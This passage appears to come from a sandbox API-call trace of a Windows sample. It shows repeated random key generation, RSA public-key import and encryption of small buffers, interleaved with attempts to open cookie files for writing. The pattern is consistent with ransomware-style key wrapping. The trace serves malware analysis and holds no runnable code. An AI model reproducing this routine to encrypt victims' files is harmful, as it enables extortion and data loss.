CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0175.208] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.210] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a180) returned 1 [0175.210] CryptGetKeyParam (in: hKey=0x360a180, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.210] CryptEncrypt (in: hKey=0x360a180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4610000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4610000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.210] GetLastError () returned 0x0 [0175.210] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.210] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E2KPI4ZI.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e2kpi4zi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.211] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.212] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.212] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.212] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.213] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.214] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.214] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.214] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.214] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.214] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.216] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a240) returned 1 [0175.217] CryptGetKeyParam (in: hKey=0x360a240, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.217] CryptEncrypt (in: hKey=0x360a240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4620000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4620000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.217] GetLastError () returned 0x0 [0175.217] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.217] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.219] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609f80) returned 1 [0175.219] CryptGetKeyParam (in: hKey=0x3609f80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.219] CryptEncrypt (in: hKey=0x3609f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4630000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4630000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.219] GetLastError () returned 0x0 [0175.219] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.219] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\E978TFRK.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\e978tfrk.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.219] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.220] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.221] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.221] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.221] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.222] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.222] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.222] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.222] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.222] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.224] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a100) returned 1 [0175.224] CryptGetKeyParam (in: hKey=0x360a100, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.224] CryptEncrypt (in: hKey=0x360a100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4640000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4640000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.225] GetLastError () returned 0x0 [0175.225] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.225] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.227] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a440) returned 1 [0175.227] CryptGetKeyParam (in: hKey=0x360a440, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.227] CryptEncrypt (in: hKey=0x360a440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4650000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4650000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.227] GetLastError () returned 0x0 [0175.227] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.227] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\F68MFAMN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\f68mfamn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.227] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.228] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.229] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.229] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.229] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.229] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.230] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.230] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.230] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.230] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.232] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a1c0) returned 1 [0175.232] CryptGetKeyParam (in: hKey=0x360a1c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.232] CryptEncrypt (in: hKey=0x360a1c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4660000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4660000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.233] GetLastError () returned 0x0 [0175.233] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.233] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0175.235] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a200) returned 1 [0175.235] CryptGetKeyParam (in: hKey=0x360a200, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.235] CryptEncrypt (in: hKey=0x360a200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4670000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4670000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.235] GetLastError () returned 0x0 [0175.235] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0175.235] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FCGXHIFT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fcgxhift.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.235] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.236] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.237] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.237] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.237] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.237] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.238] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.238] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.238] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.238] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.240] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609f00) returned 1 [0175.241] CryptGetKeyParam (in: hKey=0x3609f00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.241] CryptEncrypt (in: hKey=0x3609f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4680000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4680000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.242] GetLastError () returned 0x0 [0175.242] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.242] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.243] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a300) returned 1 [0175.243] CryptGetKeyParam (in: hKey=0x360a300, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.243] CryptEncrypt (in: hKey=0x360a300, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4690000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4690000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.244] GetLastError () returned 0x0 [0175.244] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.244] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FGTTES1V.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fgttes1v.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.244] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.245] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.245] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.245] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.246] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.247] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.247] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.247] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.247] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.249] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a140) returned 1 [0175.249] CryptGetKeyParam (in: hKey=0x360a140, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.249] CryptEncrypt (in: hKey=0x360a140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x46a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x46a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.249] GetLastError () returned 0x0 [0175.249] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.249] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.251] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a340) returned 1 [0175.251] CryptGetKeyParam (in: hKey=0x360a340, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.251] CryptEncrypt (in: hKey=0x360a340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x46b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x46b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.251] GetLastError () returned 0x0 [0175.251] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FLTMVY1F.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\fltmvy1f.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.252] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0175.253] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.253] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.253] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.253] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.253] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0175.254] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.256] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.256] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.256] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.256] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.258] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a4c0) returned 1 [0175.258] CryptGetKeyParam (in: hKey=0x360a4c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.258] CryptEncrypt (in: hKey=0x360a4c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x46c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x46c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.259] GetLastError () returned 0x0 [0175.259] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.259] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0175.260] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a500) returned 1 [0175.260] CryptGetKeyParam (in: hKey=0x360a500, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.260] CryptEncrypt (in: hKey=0x360a500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x46d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x46d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.261] GetLastError () returned 0x0 [0175.261] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.261] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\FOLSAQT6.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\folsaqt6.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0175.261] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.262] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.262] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0175.262] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.263] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0175.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0175.264] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0175.264] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0175.264] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0175.264] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0175.266] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3609f40) returned 1 [0175.266] CryptGetKeyParam (in: hKey=0x3609f40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.266] CryptEncrypt (in: hKey=0x3609f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x46e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x46e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0175.267] GetLastError () returned 0x0 [0175.267] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0175.267] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0175.269] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x360a980) returned 1 [0175.269] CryptGetKeyParam (in: hKey=0x360a980, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0175.269] CryptEncrypt (in: hKey=0x360a980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x46f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x46f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0175.269] GetLastError () returned 0x0 [0175.269] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0175.269] CreateFileW (lpFileName="C:\\Documents and 